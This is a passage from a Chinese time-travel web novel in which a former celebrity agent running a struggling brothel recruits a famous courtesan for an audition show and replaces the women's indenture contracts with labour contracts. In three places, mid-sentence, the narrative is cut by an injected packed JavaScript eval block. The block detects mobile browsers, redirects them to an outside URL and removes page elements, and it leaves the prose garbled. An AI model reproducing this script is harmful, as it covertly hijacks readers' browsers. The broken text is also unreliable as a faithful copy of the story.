“姐姐们,你们完全有那个实力!只要你们愿意,我般茴就能将你们捧成下一个咏霜!” 她尚带稚气的言语铿锵有力,掷地有声,一下就将姑娘们的顾虑赶走。 如般茴所言,姑娘们的毕生梦想就是当上花魁,每日享荣华富贵,受众人追捧。 谁不想成为下一个咏霜? 但事实往往是,她们当不上花魁,日子俭朴,恩客挑她们像是挑物件一样,鸨母也不把她们当人看,好些青楼妓子最终的命运就是一卷破草席裹着,扔到乱葬岗去。 4. 第 4 章 般茴将话掰碎了讲给她们听,姑娘们果不负她所望,一个个眼中扬起斗志。 离般茴最近的一个名叫兰溪的姑娘咬了咬牙,大着胆子上前,一把攥住她的手,拿一双乌黑发亮的眼睛望着她:“茴茴放心,我定不会辜负你的期望,努力训练!早日出道!” 般茴定睛一看,原是昨日她留下的唱曲儿颇为厉害的一个姑娘,没记错的话,应是叫兰溪。 小姑娘和原身差不多大,生得一副清纯可人,初恋情人的模样。她于是笑了笑,很走心地鼓励对方几句。 没想到兰溪也很实诚,当下感动地哭了起来,边哭边重复说着感谢的话。 受从众效应影响,其他姑娘本拉不下面皮认错,这会儿倒也颇为诚恳地向般茴道歉,保证自己日后定不偷懒,好好为选秀出道大会做准备。 眼见着安抚好了众位姑娘,般茴才放下心来,将训练室交给几个小组长。 毕竟她前世可是金牌经纪人,手下艺人不少,其中不乏有懒惰成性的,但经过她的调.教,个个单拎出来都是排面。 要诀只有一个:躺平是不可能躺平的!当爱豆还想躺平,对得起为你打榜花钱的粉丝吗?!全给我卷起来! 几个彪形大汉本来还有些轻视般茴,此时也对她有些佩服。小丫头年纪轻轻,竟这般有魄力,能镇住一楼的姑娘。几人交换了眼色,早在般茴看过来之前就很识趣地去看起了逸秀楼的大门和后院。 春莺也暂时跟着般茴出来了,二人一路去了杂衣间。 房间内自小厮们纷纷跑路后就没打开过,今日甫一打开灰尘便迎面而来,将二人呛得连打了几个喷嚏。 春莺以帕掩鼻,轻车熟路地找到小厮衣服后,有些犹豫地递给她:“你让我找这些衣服干嘛?” 般茴接过衣服,展开一看,灰扑扑的很不显眼,这才满意退了出来,闻言面色神秘答道:“我去挖个墙角过来,过几日咱们出道大会办不办的起来,还要看这墙角挖不挖的过来。”牛皮都吹出去了,黄金墙角无论如何,都要挖过来! 春莺眨了眨眼,没听明白。 般茴不欲多做解释,摆了个嘘声的动作,即刻便出了逸秀楼,往醉香楼而来。 …… 醉香楼不愧是江南第一大青楼,般茴看着眼前富丽堂皇雕梁画栋的高楼,一时间羡慕嫉妒恨全找上门来。 此刻不过申时末,楼内就已灯火通明,丝竹声不绝于耳。不少风流才子倚栏观望秦淮河潺潺流水,身边各色丽人嬉笑怒骂。 这哪里是青楼,分明是人间天堂! 般茴呆呆地看了一会儿,转而向后门走去,正门像她这样的小厮根本不可能被放进去,只有走后门。 不料后门却站了两个五大三粗的壮硕打手,般茴暗叫不好,她看了一眼不甚高的围墙,感慨幸而原身会翻墙,忙找了个僻静位置凭着肌肉记忆翻了进去。 刚一落地,般茴就摔了个四脚朝天,她痛得呲牙咧嘴,正欲爬起来,就见面前不知何时坐着个大黄狗,此刻正一脸好奇地看着她。 般茴顿时大气都不敢喘一下,心中怕得要死。她勉强一笑,极缓慢地从地上爬了起来。 见她站了起来,大黄狗瞪着双黑白分明的大眼睛,朝般茴汪了一声,倒没有要咬她的意思。 般茴心中咯噔一下,忙四下环顾,发现并没人注意这边才放下心来。她欲哭无泪地对那狗做了个噤声的动作,大狗歪头看了她一阵儿,又汪了一声。 “旺财!怎么了?叫什么呢?” 前院忽传一女子的娇呵,般茴听得脚步声慢慢清晰,明显是朝她这边而来。 她额上冷汗登时就下来了,正欲躲到一旁的大树后,孰料那狗竟咬住了她的裤腿。般茴心中默默哀嚎,感慨今日出门没看黄历,同时飞快想着被人发现后该如何蒙混过去。 就在这时,又一女声有些责备地喊道:“圆儿,你干嘛呢!霜姑娘还等着你的茶呢!” 那姑娘应了一声,不再管什么旺财,脚步声渐渐远去。 人前脚刚走,那差点坏人事情的大黄狗也一溜烟跑没影了。般茴顿时松了一口气,她抹去额上冷汗,将头上的灰色便帽往下拉了拉,深呼一口气,在后院中七拐八绕,这才进了醉香楼内。 甫一进楼,饶是见多了世面的现代人般茴,此刻也不免恍了恍眼—— 举目而望金碧辉煌,却奇异地不显土气;暧昧的淡红色薄纱轻柔地垂落在地,烛火通明间丝竹之声不绝于耳;举目望去竟全是俊男美女,正厅高台之上,绝色舞姬们媚眼如丝,妖娆的身段看得般茴一个女子都眼睛发直。 民间多有传闻,这醉香楼乃是朝廷上某个显赫世家的资产,但到底隶属于谁,这么多年了仍没有分晓,只知道这么多年来,醉香楼一直秉承着从一而终的迎客标准—— 只接待相貌堂堂,家世不俗的人。 说白了就是搞饥饿营销,凡是进过醉香楼的人无一不言醉香楼如何如何好,后来文人骚客中都以进过醉香楼为荣,不能进来的人抓耳挠腮地想进去。 加之后来楼内又出了咏霜这个惊才绝艳,百年间绝无仅有的花魁,更是一举将醉香楼推至顶峰,大雍第一青楼的位置再无人能撼动。 而咏霜,就是这次她要挖的金墙角。 般茴扶住差点被惊掉的下巴,倒吸一口凉气,心中倍感任务之艰巨。 正当这时,二楼雅间的人群突然沸腾起来,般茴身形一顿,隐没在人群之中,浑水摸鱼往三楼走。 咏霜乃是地位超然的花魁,房间的位置本在醉香楼顶层,以示其资历身份。 然咏霜其人很有个性,不愿住最顶层,反而搬到了中间一层三楼。醉香楼老鸨葛三娘哪敢不依,咏霜这个金疙瘩不喜和旁人住在一个楼层,葛三娘就屁颠屁颠清空三楼,只让咏霜一个人住。 般茴一边抓紧时机走着,一边想着待会见到咏霜该怎么说,对闹事本不甚在意。 然人群越聚越多,将般茴挤得根本走不动路,无奈她只能停住,就听到身边几个公子哥幸灾乐祸道: “这月第几回了?二公子当真吾辈楷模,上月被老侯爷将腿打折了,这月竟还敢往醉香楼来!” 般茴在听到老侯爷时来了兴致。 在云都能被人称一句老侯爷的,只能是镇南侯一人。 镇南侯祖上风光无限,大雍还没建成时其先祖宋逢就跟着高祖四处征战,甚至于敌军包围中为高祖挡过一剑,二人之间乃是过命的交情。 后大雍建朝,先祖宋逢更是一时风头无量,但宋逢此人很精明,在高祖疑心病越来越重前就交出权力解甲归田,获封镇南侯后下江南云都,成功在一众权臣中全身而退,过起了老婆孩子热炕头的日子。 值得一提的是,镇南侯先祖宋逢在妻子姜氏去世之后悲痛欲绝,定下家规: 凡是家中子弟,一生只得娶一位妻子,不得纳妾,不养外室,违者逐出家门,死后不得葬入祖坟。 故而历任镇南侯都是难得的痴情人,更令人津津乐道的是,一个个都是出了名的怕老婆,而且每任镇南侯都极有能力。 就拿如今的老侯爷来说,他年仅十三岁就披挂上阵同西戎争地,战神之名如雷贯耳,而侯夫人姜氏乃是当年随其出征的医女,身份低微,但妙手回春闻名军中。 后来老侯爷凯旋归来,天子本欲赐婚,他却断然拒绝,当晚就拉着侯夫人姜氏跑回云都成婚。 侯夫人姜氏性情刚烈,极爱喝飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178865|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醋,成婚后老侯爷每次外出都要向夫人报备,去哪什么时间回来事无巨细,甚至好几次老侯爷不过晚回来一会儿,就被侯夫人关在门外睡在马车上。 而这几位公子哥口中的二公子,就是老侯爷和侯夫人的小儿子宋懿行。 思绪回笼,般茴整了整衣裳,想着反正眼下也没法离开,她便竖起耳朵继续听了起来。 “可不是吗,宋懿行他大哥这么有出息,不过弱冠之年就战功赫赫。怎么到了他,竟变成这般纨绔骄纵的样子?” “这都不知道?真是在云都白长这么大,”一华服公子啪的一声打开折扇,“侯夫人极宠这个小儿子,可谓是要星星都给摘下来。而且这二公子龟毛的厉害,家中桌椅每半个月就要全更换一遍;教他读书的先生,被气走的更是数不胜数。” 般茴正听得津津有味,身旁人突然整齐划一向后退了几步,留出中间一条道来,隐约听到有人说“老侯爷来了”,她连忙抬眼向前望去。 只见一相貌威严的中年男子怒气冲冲,身后跟着个比他还高的少年,颇有些不情不愿。 见围观人群越来越多,老侯爷竟直接上手,揪住那少年的耳朵,火急火燎地下了楼。 少年看着比般茴大一两岁的样子。 身着绛红织锦窄袖劲装,脚蹬雪青绣金长靴,腰间挂着白玉坠子,墨发用一根赤红发带高高竖起。 少年脸庞轮廓分明,眉毛斜飞入鬓,一双桃花眼分外干净澄澈,薄唇微翘,显出几分傲气和得意,此刻被揪着耳朵,顿时呲牙咧嘴起来: “我从来都只是来听曲儿的!没做别的事嗷嗷不信看我的节士印!” “爹爹爹!快松手了!疼死了!我自己走!啊啊啊!我,我跑起来!跑起来成了吧!” 围观人等哄堂大笑,老侯爷也闹了个脸红,冷哼一声猛地拂袖,身后跟着的几个打手立刻上前,将少年团团围住,两人架手两人架脚地将人抬走了。 可怜少年还在徒劳地掀着左手衣袖,露出一小截匀称漂亮覆有薄肌的手臂,腕骨微动间,一颗艳丽的红色小痣躺在暖白的手腕上晃悠,顷刻间又被宽大的衣袖盖住。 那可是活生生的官二代啊!般茴收回羡慕的目光,趁着众人的注意还放在那少年身上,她火速飞奔上了三楼。 一上三楼,丝竹声迅速褪去,耳边顿时安静下来。 般茴不自然地眨了眨眼,看着面前极富诗情画意的布置,暗暗咋舌。 虽在室内,几座巨大的盆景刺激着她的眼睛,只见眼前翠竹林立,举目望去,春梅开的正好,暗香浮动间沁人心脾。这一层已被醉香楼老鸨葛三娘大改了一通,如今偌大的一层楼只有三间房。 正中一间房清雅高致,幽幽冷香自房内飘散开来,混杂着淡淡的檀香熏染着般茴整个人,她心中突然升起一丝超凡脱俗的味道,总感觉站于此处,自己下一息就要羽化登仙了。 也只有百年难得一遇的花魁咏霜能有这个待遇,醉香楼这么大的产业,又在秦淮河畔这寸土寸金的位置,作为一个青楼空出一层楼给一个姑娘,实在是举世罕见。 般茴心中百转千回,思虑之间脚步慢慢挪至房外,本欲敲门,不想那门竟从中打开。 她下意识往后退了一步,出来的丫鬟生得玉雪可爱,看到她时立刻吹胡子瞪眼起来:“这葛三娘真是讨厌,我们姑娘都说今日不接客了,怎还敢让这小厮上来?!喂!你又是那家公子哥的小厮?” 般茴笑了笑,撒谎眼睛都不带眨的,煞有介事道:“我家公子的传家玉佩落在这儿了,特让我来取,烦请姑娘通融通融。” 那丫鬟正待拒绝,屋内突然传来一声如高山霜雪般的泠泠轻音: “圆儿,让他进来吧。” 5. 第 5 章 那唤作圆儿的姑娘瞪大双眼,颇有些不可置信,她不屑地看了般茴一眼,冷哼一声,怨气很大道:“进去吧!” 般茴得了便宜还卖乖地笑了笑,圆儿看到更生气了,拂袖引她进了屋内。 屋内陈设出人意料的简约淡雅,瞧着竟不似青楼中花魁的房间,倒像是清俊书生的居所。屋内冷香味道更甚,闻着很是沁人心脾,般茴没忍住耸了耸鼻子,立刻招的那圆儿嗤了一声,口中讽道:“没见过世面!” 兜兜转转二人已至内室外,般茴并不理会圆儿的嘲讽,迫不及待地抬起眼睛就要往里瞧,可惜翠色珠帘遮住视线,圆儿见此被气得七窍生烟,口中骂道:“什么腌臜人这般大胆!竟敢直视我们姑娘?!” 般茴忙欲盖弥彰地低下头去,牙尖嘴利反驳道:“久闻咏霜姑娘仙姿佚貌,冰肌玉骨,遇着仙人我等凡人总是控制不住想瞻仰瞻仰,未成想冒犯仙人,实在对不住。” 圆儿本还欲发难,听了她这话立刻仰起下巴,有荣与焉:“自然,我们姑娘就是名副其实的仙女!算你还有眼光!” 就在这时,内室美人榻上的仙人轻声笑了笑,圆儿立即近前,帮仙人撩起珠帘,一时间叮铃作响,若山泉撞石,清音袅袅飘荡在屋内。 般茴下意识抬眼,却在瞥见仙人容颜一瞬呆愣在原地,顷刻间失了言语。 般茴:……好权威的脸。 上辈子作为金牌经纪人,般茴见过不少美人,其中许多都是公众口中百年难得一遇的美人,但和咏霜相比却立刻失了颜色,沦为衬红花的绿叶。 面前女子雪肌玉骨,乌发懒懒地垂落在肩,衬得雪白天鹅颈更加漂亮,女子凤眸微掀,眼睫如鸦羽般浓纤,唇若含珠,仪静体闲,气质清冷谦雅,美得简直不似此世中人,当真应了般茴方才那句话: 乃是仙人! 咏霜瞥见来人一瞬微微勾唇,伸出纤纤玉指点了点圆儿的额头,随后指了指般茴:“圆儿,你再仔细瞧瞧,那是位小厮吗?” 般茴眼见着乔装被揭穿,这才找回自己的声音,她歉意地朝对方拱了拱手,不再故意压着声儿,女儿音倾泻而出:“见过咏霜姑娘,茴茴实是被逼无奈,才出此下策,万望姑娘垂怜。” 说完,她摘下头上便帽,抬起头来直视二人,面上很是坦率,毫无惧意。 圆儿被般茴此举吓了一跳,好半晌嘟囔一句“竟是个小丫头”,便退至不远处的檀香木桌旁细细斟茶。 般茴有些摸不着头脑,眼见着自己此行要挖的金墙角,啊不,应该是钻石墙角在桌旁圆凳上坐下,她也从善如流地在对面坐下。刚想开口说话,咏霜却含笑示意她喝茶。 接过圆儿递给她的紫砂茶杯,看着其上碧翠的茶色,般茴小心捧起,又闻了闻茶的香气,这才细细抿了起来。 淡淡茶香在味蕾中绵延开来,入口畅滑,一息之后略有苦涩,但还未来得及反应,这苦味就消失不见,转而被一股更清雅的香气替代,那香气很复杂,像是竹香又像是梅香,一口下肚,满口生香。 前世般茴工作很忙,为数不多的兴趣就是自小和外公一同品茶,二十四年茶龄的她顿时眼前一亮,将心中想法说了出来,却见咏霜面上笑容一点点消失,一旁的圆儿更像是看鬼一样看着她,喃喃道:“……你,你简直和姑娘当时说的一模一样。” 般茴自然知道此话何意,她心中一喜,忙向咏霜说明来意,详细解释了一番何谓选秀大会,末了怕人不答应,她还小心翼翼地补了一句:“只占用咏霜姑娘半日的时间。” 咏霜收住惊骇的眼神,长舒一口气,起身向其正式行了个礼,吓得般茴差点给人跪下了,以为后者不答应,正欲装哭再卖一波惨,孰料咏霜爽快道:“我应了!” “什么?!” 般茴怀疑自己听错了,来之前她就专门针对咏霜准备了长篇大论,也知咏霜性情很是古怪,本准备被其刁难或嘲讽。未成精心准备的大论一句话都没机会说,只是喝了杯茶的功夫,此事就完美搞定了,简直顺利得她心中发慌。 见般茴一脸不可置信,咏霜含笑又重复了一遍,又问她具体哪天,自己该做什么。 般茴打了个激灵,忙不迭回到:“本月二十日申时开始,在逸秀楼,姑娘到时候同我们分享分享妆面的巧思,在当一会儿的评委就可。” 怕咏霜不知道逸秀楼和评委是何意,般茴还十分贴心地将解释一番,解释完才道:“女神……啊呸,咏霜姑娘,可以吗?” 咏霜微微点头,突然盯着般茴的眼睛没由来问道:“茴茴觉得,女子也可同男子一般入仕,建功立业吗?” “自然,为何不能!巾帼不让须眉!他们男子尚可寒门翻身,我们女子为何不能?”这话几乎是脱口而出,待说完了她才反应过来这是大雍,又敷衍地捂住嘴,偷偷拿眼去瞧咏霜。 只见咏霜愣在原地,口中呢喃:“巾帼不让须眉……”,颇有些怅然若失的意味。 般茴这时回过味来,反应过来楼内种着的翠竹和冷梅的意义。一旁久未做声的圆儿见咏霜这般,忙引着般茴出去了,又怕被葛三娘看到,很是贴心地将她送至醉香楼后门走了。 临走时圆儿欲言又止,只含糊道:“茴茴要是没事,多来楼内同姑娘聊聊吧。” 说完不待般茴反应,她就像是被烧着了屁股的猴儿,一溜烟蹿没影了。 般茴丈二和尚摸不着头脑,眼下天色已晚,兴奋如潮水般褪去后她这才有了饥肠辘辘的感觉。 迎着朦胧的月光向前走去,不知为何,般茴又回头看了一眼已被她甩在身后的醉香楼,眼尖地发现其上竟飘了几簇乌云—— 要下雨了。 般茴匆忙地跑了起来,雨势越来越大,颇有些白玉跳珠的意味。 眼见穿着的破旧布鞋不可避免地踩在水坑里,般茴心中有些烦躁,她自小就讨厌鞋子浸湿的感觉,所幸将鞋子脱了,又将裤腿高高卷起,就这样光着脚在地上跑了起来,向不远处的面店而去。 系统:【……宿主这样不硌脚吗?】 般茴没有理它,撒欢一般故意将水坑里的水踩得老高,按理说都二十八的人了不该这般幼稚,可般茴自穿过来后一口气都没来得及喘,每日疲于奔命,又不知不觉受原主小丫头心性的影响,马上三旬的老人突然间倒像是年轻了不少。 跑着跑着,她突然想起了自家外公,小的时候,外公也是这样拉着她的手,带着她在雨中奔跑,而这时候的外婆就会在屋檐下急得直冒火,将爷俩儿骂得狗血喷头。 待到俩人跑够了,外婆又会从厨房里端出早已做好的姜汤,爷俩儿一人一碗下肚,保准不会感冒。 但后来被父母从老家接回去,又被送到各类兴趣班和补习班,般茴忙得跟陀螺一样,只有过年的时候能回老家看望外公外婆。 后来工作了她就更忙了,一年都不见得能回去一次,总想着钱赚够了就立刻辞职回老家陪外公“踩水坑”,却没想到钱刚攒够,自己就出了车祸。 也不知道外公外婆听到这消息是什么反应,般茴眼神黯淡下来,抖了抖身上的雨水,看着老板娘端上来的热气腾腾的葱花面,愣了一会儿随即大口大口地吃了起来。 同一时间,福瑞楼三楼雅间上,刚谈完要事的男人微微倾身,一身月白华袍层层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178866|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠叠落在素色蒲团之上,他眉舒目阔,面如冠玉,整个人若郁木苍华,气质清癯,茕茕立于天地之间。 男人的目光正落在雨中撒欢奔跑的少女身上,女子虽穿着小厮衣物,光滑纤细的小腿却露出半截,暴露了她女子的身份。 因营养不良而不甚白嫩的脚丫起起落落,越来越大的雨将她淋成了落汤鸡,少女却不甚在意,仍很是大胆地撒丫子狂奔,透着股股郁郁葱葱的生命力,引得人为之侧目。 男人对面还坐了跟他差不多大的人,注意到他的目光,本有些严肃的眼眸染上戏谑:“怎么?那云都城主给的绝色美人吸引不住你,这平平无奇的疯丫头倒是入了你的法眼?” 容婴闻言,并未收回目光,他屈指微微撑住下巴,看着少女坐在面店搭起的棚子下大口大口地吃面,吃了一会儿又偷偷抬手抹了抹眼睛。 看起来像是哭了。 容婴蓦地收回视线,看向对面神色慵懒的纪禾,后者咧嘴一笑,挤眉弄眼地朝少女的方向努了努嘴,玩笑道:“想要?” 容婴没说话,眼角一颗不甚明晰的泪痣隐没在微垂的眸光里,他轻咳一声,颈间喉结微微滚动,随即百无聊赖地转了转手腕:“……小玩意儿而已。” 说完,他蓦地掀起眼皮,眸中凉意泛滥:“嘁,什么货色。” 纪禾闻言,笑得更加放肆,矮桌上的玉瓷酒杯被随意打翻。 看看吧,这就是京都中那个万千荣宠加身,位高权重眼高于顶,对所有女子都不假辞色的清冷谪仙燕王。 在容婴的认知中,没有人能配得上自己,便是京都第一美人丞相家嫡女明昭向他隐晦示爱,也被他毫不留情拒绝。 纪禾在心中想着,转头看向视野中正在吃面的少女,心中有些稀奇,却并未在意。 毕竟容婴把自己当天上谪仙,把旁人都当做泥沼中的老鼠。 而谪仙,是不可能和老鼠在一起的。 而另一边刚吃完面的般茴还对此一无所知,雨渐渐停了,天色也完全黑了下来,她放下裤管,快步朝逸秀楼走去。 彼时的逸秀楼在般茴的领导下暂停营业,若是往日楼内早就漆黑一片,但今日却灯火通明。 般茴在楼外停留一会儿,同几位看门的大汉打个招呼,这才慢悠悠在进了门。 然刚进门,她就被春莺迎面撞上,身后还跟着一众面色复杂姑娘,还没反应过来般茴就被拉到一边,被众姑娘团团围住。 般茴很是纳闷,本以为姑娘们都在练习,如今看来却并非如此…… 难道楼里出什么事了?讨债的又上门了?! 但她还没问出口,春莺率先问道:“茴茴,你今日救了个绝代佳人吗?” 般茴愣住,她眨了眨眼,下意识回道:“没有,哪有什么绝代佳人?” 姑娘们一时炸开锅来,压低声音七嘴八舌议论纷纷。 看着般茴也是一头雾水的模样,春莺叹了口气,指了指坐在大厅角落里的倩影,担忧道:“喏,那姑娘不知从哪里来的,一直说来逸秀楼报恩,说给她钱埋葬亡父的是你,日头刚落的时候就来了,一直呆在这不愿离开,非要见到你不可!” 般茴心中涌起不妙的感觉,她心虚地看了一眼春莺,气息弱了几分:“春莺姐姐……我今日确实给了一个姐姐钱财,让她将父亲葬了,不过她不是什么绝代佳人,整个人灰头土脸的!” 春莺面色哽住,本有些嘈杂的姑娘们也停了话语,沉默下来,二十多只眼睛齐刷刷地看着她。 不久前刚被般茴夸赞过的姑娘兰溪淹了咽口水,心直口快道:“……茴茴还是自己来看看吧。” 6. 第 6 章 彼时,逸秀楼的对门揽翠楼尚灯火通明—— 她们不似逸秀楼暂时歇业,此时尚在营业。 老鸨李瑛姑和几个没有接客的姑娘得了闲,便一团聚在三楼走廊的木窗前,看着对面的逸秀楼小声议论着。 她看着逸秀楼今日有些反常的灯火,下意识皱了皱眉。 本以为这逸秀楼自芸娘死后就会立刻垮掉,却没想到芸娘那个孤僻无能的女儿竟挑起了大梁,带着逸秀楼撑到了今日。 李瑛姑和芸娘早年并不对付,她们同为青楼鸨母,又是差不多的年龄,加上逸秀楼和揽翠楼的规格相当,都是些小青楼,故而二者之间的竞争一直不断。 瑛姑看不惯芸娘的假好心,芸娘也看不惯瑛姑的唯利是图,而且前几年瑛姑使了些腌臜的手段,挖走了逸秀楼不少姑娘,芸娘气不过,直接报了官,状告瑛姑非法买卖人口,二人直接闹到衙门,算是彻底撕破脸皮。 想起昔日旧事,瑛姑神色更加难看,看着面前颇为碍眼的逸秀楼,心中巴不得它赶紧倒闭关门大吉。 瑛姑旁边一个叫情恬的姑娘极有眼色,她上个月还是逸秀楼的姑娘,在芸娘死后立刻哄骗着原主般茴交出了她的卖身契。这人心思活络,颇有几分姿色和才艺,奈何年过二十,算是老姑娘了,这才到了揽翠楼内。 情恬觑着瑛姑的神色,眸子转了转,娇笑出声:“妈妈为何这般如临大敌的模样?虽则今日逸秀楼晚间还掌着灯,但楼内无甚恩客,妈妈您瞧,那大门还是关着的呢!” 瑛姑闻言,脸色这才好看几分,冷哼一声道:“我自然知道!就是不知这几日逸秀楼是真的歇业了,还是在搞什么名堂想着东山再起?” 情恬还没来得回答,另一姑娘就抢先道:“妈妈这是哪里的话!芸娘的那个小丫头木楞的很,是个傻的,你只要说些好话,那丫头就被哄得找不着北,芸娘活着的时候都为她愁得不行!” 说完这话,香云得意地瞥了情恬一眼。 情恬一口牙差点被咬碎,她面前维持住面上的笑容,心中却把香云骂得狗血喷头。 这小贱蹄子同她一起在逸秀楼的时候就和自己不对付,偏偏还是个学人精,整日盯着她的动向,见她跑路到了揽翠楼,这贱蹄子也不管三七二十一跟着来了揽翠楼。 这几日情恬都没恩客上门,倒是香云恩客不断,小人得志,平日里自然没少拿这事刺她。情恬心里窝着火,想着好歹能拍瑛姑几句马屁这个月好过一些,没想到香云又来坏她的事! 果不其然,瑛姑被她吸引了注意:“你且细说说。” 香云一时更加得意:“往日那丫头干的荒唐事想来妈妈都知道,我捡近日的说说……” 她讲得眉飞色舞,唾沫直飞,从昨日般茴主动放走逸秀楼四成的姑娘,只剩下了些歪瓜裂枣,到今日早上对着罗裳坊老板娘掉眼泪苦苦乞求,又和乞丐混迹一团,满城发个什么叫“传单”的东西。 瑛姑听着,这才彻底放下心来,面上笑容有些扭曲:“将好姑娘都放走了?这丫头还真是夯货,跟她娘一样假好心!要我说,这逸秀楼不出三日,必倒无疑!” 其他的几位姑娘忙跟着附和,痛斥逸秀楼的姑娘如何如何丑陋,般茴如何如何蠢笨,自家妈妈如何如何英明,这逸秀楼定会关门大吉,直把瑛姑哄得合不拢嘴。 而在揽翠楼姑娘口中听起来像烂泥一般的逸秀楼内,般茴瞳孔骤缩,看着眼前的双眸垂泪的绝色佳人,直接风中凌乱。 ber,她今天是踩了什么狗屎运,一连得到两位绝色佳人的青睐! 明明她前世的运气只有狗屎,没有运,难道是前世所有的运气都积攒到这鸟不拉屎的古代了是吗? 面前少女已洗净面上厚重的泥土,肤若白瓷,额间一点朱砂如血,双眸若点漆,两弯柳叶眉细细横卧在莹莹妩媚的桃花眼之上,玲珑翘鼻,唇瓣不点而朱。 和咏霜清冷仙子的容颜不同,面前女子明艳灼人,倾国倾城,怪不得初见之时逢黛将自己拾掇得乌七八糟,若是她以此副面容现身,还不被围观人等活活吃了。 般茴正想着,逢黛温温柔柔的声音响起,很是哀怨:“……眼下恩人也不愿收留逢黛吗?” 不同于女子灼艳的面庞,逢黛语气温吞柔和,没一丝咄咄逼人,浑身气质颇像林妹妹,此话还未说完,涟涟泪珠又下来了。 惹得美人垂泪,般茴心中有些愧疚,又被众姑娘簇拥住,她斟酌开口:“逢黛姑娘,我们这儿是青楼,虽我已定下新规,姑娘们无需再卖身,但你可考虑清楚了?” “自然。”美人微微抬眸,泛着水润泪光的眸子一眨不眨,说的话却斩钉截铁。 般茴看着逢黛,脑中却突然灵光一闪,顿时有些懊悔—— 为什么非要签这卖身契,何不把这卖身契废了,换成现代娱乐公司同艺人签的劳务合同?在永恒的利益和金钱面前,既可以调动姑娘们积极性,又能最大限度地保障她们的人身自由。 真是穿越过来忙晕了,竟把这茬儿给忘了! 说干就干,般茴眼睛瞬间亮了起来,她清了清嗓子,转向逸秀楼的其他姑娘们和逢黛,大声道:“姐姐们,我打算把你们的卖身契毁了!” 一语激起千层浪,姑娘们本就只是来凑个热闹,哪知会牵扯到自己,一时间愣在原地没有反应,待般茴又重复了一遍,姑娘们才反应过来,一时哗然,春莺也摸不着头脑,看着般茴欲言又止。 “茴茴,你这是什么意思?前几日才一番豪言壮语,怎今日就变卦了?逸秀楼要解散了?” “对啊什么意思,为何突然要毁了卖身契?我们怎么办啊!” 姑娘们面色焦灼起来,般茴抬了抬手,示意众人稍安勿躁,随后一字一顿道:“逸秀楼永远不会解散!我般茴说出去的话也永远作数!” 众人安静下来,就听见瘦瘦小小的小丫头继续道:“卖身契销毁了,但我们还要签订另一种契约,这种契约叫劳务合同。” 般茴刚穿越的那天晚上就把姑娘们的卖身契翻了出来,大致看了一遍,其中内容不堪入目,罔顾人性。这些姑娘大多是五六两买来的,给过钱之后她们就相当于老鸨手中的牲畜。 若是受人欢迎,那么她们的日子还会好过一些,若是不受人欢迎,那这些姑娘的日子就像是将要下锅的虾,不知什么时候就被热油烹死了。 想要赎身,简直做梦!除了那些花魁还有几分可能成功赎身,那些普通青楼女子赎身的可能性几乎为零。 钱是一方面问题,一般赎身的钱要比当初她们卖身的钱高出百倍,而她们接客得的银钱几乎全都会被青楼搜刮走,留下的基本不足十分之一;而且人家老鸨根本不可能放你走,在没把你身上最后一丝价值榨干之前,想走,没门! 古代避孕措施很差,即使每日喝对身体损伤极大的避子汤药,好些青楼姑娘还是会怀孕,怀孕后一碗堕胎药下去更是可怕,所以青楼姑娘们往往寿命不长,并且最后总会沦为暗娼不可避免染上脏病,但老鸨没闲工夫花钱给她们治病,得了病就基本是被下了死缓,等死而已。 比资本家更会压榨人民的人出现了—— 青楼东家。 而她般茴,将成为史上第一个推行劳务合同的人! ……希望不是最后一个。 般茴向姑娘们解释了一番何为劳务合同,当场就事无巨细地针对楼内姑娘们列了一份,又格外强调了不再卖身,往后姑娘们赚的钱同逸秀楼四六分,姑娘们四,楼内六。 几乎所有的姑娘听到这个比例都差点哭了出来,心潮澎湃,往日里芸娘在时,尚做不到这般,四成的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178867|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分成她们想都不敢想。 别说四成,就是两成,天下第一青楼的醉香楼都不可能达到,更别说逸秀楼这个小青楼了。 好容易冷静下来后,有些姑娘疑惑问道:“不接客的话,我们怎么赚钱?” 般茴就等着这句话:“这就是我为什么让你们努力训练!我们以后靠的是才艺!唱曲儿,跳舞,弹琴,作诗,演戏……这些不必样样精通,只要有一样超出常人就好!而接下来的选秀出道更是重中之重,只有成功晋级前八强的姑娘拥有出道资格!” 有人举手:“出道资格有什么用?” 般茴推了推鼻梁上并不存在的眼镜:“具有出道资格的姑娘,接下来整座逸秀楼的所有资源都会向他们倾斜,而其他姑娘只有等待下一次出道大会,或者成为有出道资格姑娘们的伴舞或伴唱。” 姑娘们恍然大悟,一时间眼中是前所未有的积极,个个摩拳擦掌就要回训练室继续训练,毕竟现在自己的收益和整个逸秀楼的收益息息相关,逸秀楼好,只有她们才会好! 